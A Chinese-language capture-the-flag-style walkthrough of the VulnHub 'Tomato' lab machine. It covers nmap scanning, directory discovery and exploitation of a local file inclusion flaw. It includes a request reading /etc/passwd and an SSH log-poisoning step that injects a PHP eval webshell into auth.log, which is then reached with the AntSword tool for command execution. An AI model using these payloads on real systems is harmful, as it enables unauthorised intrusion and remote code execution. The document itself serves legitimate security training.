前言
一个非常适合于入门的一个靶场!!
一、环境搭建
tomato靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/
下载好Tomato文件,创建靶机
创建好后,进行网络适配器进行设置
打开这样即可
二、Tomato复现
第一步:
打开kali虚拟机
查看kali主机的IP地址
用nmap扫描⼀下kali主机IP,同⽹段存活ip,找到靶机的ip
kali:192.168.206.130
Tomato:192.168.206.132
nmap -sP 192.168.206.0/24
弹出这个页面
第二步:
用nmap进行端口扫描
nmap -p- -sV 192.168.206.132
成功扫出4个端口
让我们打开四个端口看看有没有什么有用的信息
只有8888端口打开有一个登录框
再查看页面的源代码,源代码没有什么有用的东西
再用dirsearch进行目录扫描
dirb http://192.168.206.132/
扫描出3个目录
只有第一个目录可以,打开瞅瞅,有一个文件夹
可以任意打开,是一个目录遍历的漏洞
第三步:
进一步测试并利用漏洞
查看info.php的网页源码,发现存在文件包含漏洞
什么是文件包含漏洞呢?
原理:包含可以代码执行的文件(php可以文件读取,也可能造成命令执行)
这个漏洞最重要的有四个函数:
1、include:找不到文件产生警告,脚本继续运行。
2、include_once:相对于include,文件被包含后不会再次被包含。
3、require:找不到文件,产生致命错误,脚本停止。
4、require_once:相对于require,文件被包含后不会再次被包含。
分类:分为两种,RFI (远程文件包含)和 LFI(本地文件包含漏洞),两者的主要区别在于php.ini中是否开启了allow_url_include。如果开启了就有可能是远程文件包含
在URL后面输入 ?image=/etc/passwd (用image参数传入想要获取的文件路径)
成功显示,说明存在文件包含漏洞
远程连接漏洞
根据前面的端口2211是一个ssh(远程连接服务)
我们可以通过**报错连接**
ssh '<?php @eval($_POST[1]);?>'@192.168.206.132 -p 2211
然后在网页端查看ubuntu报错信息:/var/log/auth.log
/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。
该目录下发现多了一些报错信息,大概率写入木马成功,
使用中国蚁剑进行连接
上传了一句话木马的路径:http://192.168.206.132/antibot_image/antibots/info.php?image=/var/log/auth.log
连接密码是刚刚POST传入的:1
成功拿到整个网站的信息
可以执行一些终端命令
总结
希望你可以第二遍自己不看教程,刷一遍该靶场